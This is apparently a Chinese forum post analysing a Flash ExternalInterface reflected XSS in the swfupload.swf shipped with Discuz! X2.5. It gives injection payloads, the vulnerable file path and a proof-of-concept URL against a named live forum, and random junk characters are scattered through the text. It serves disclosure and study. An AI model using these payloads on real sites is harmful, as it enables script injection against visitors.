上回我们说
& i/ H9 w# `6 f( C2 z a0 n: U5 ^; I! f* T; f; d" u. }
flash.external.ExternalInterface.call($methodName, $parameter)4 V: T9 I' W# u+ |1 ~" k# Z
在浏览器中执行的是: V6 x q- n6 w* h
; |/ k& N* ?! X. {' s
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
5 m' E( v' Q; S! |4 ]( q, t/ U/ l对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
: A- @' }: \$ W
8 m, N( i/ O7 S( d- B2 nflash.external.ExternalInterface.call("object."+$methodName, $parameter)
0 m- |% I1 m2 l9 Q$methodName = a())}catch(e){alert(/xss/)}//
( L. }2 m9 _+ d" O3 X结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
; B4 w$ C+ [% m" ~% }, D
5 B9 k( h2 p4 M4 t( ]9 g! z# P6 [try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
; |& [1 g, g8 J% x# ]/ U/ r0 X7 [ w/ g7 Q/ g$ t; H
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
' V. l* \6 s" g$ Q+ ]杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
6 ^7 p" c( d9 a$ K, o: T4 b+ E9 ~) w' {' D0 K1 U7 ?
/ ^4 W- W( y6 W- Z8 T) a, c
4 D* Z" L% u0 \$ ^2 e( C3 N4 f: ?+ O
漏洞文件:upload\static\image\common\swfupload.swf P" g, l8 ?) c# c/ Q$ j
& ~3 L3 k. D6 W2 ?) e2 }原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf' V% A) z- S& A Z+ Z+ \
?" ]( l+ P- G3 ]
6 T+ n' O! O. a* `. S+ U' a% z5 a
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}// e) Q4 H; T) g2 m' x+ Z6 ?
( f/ @ l, f5 }) `; M/ e q% |" W K. ^0 [8 ?' c4 w
|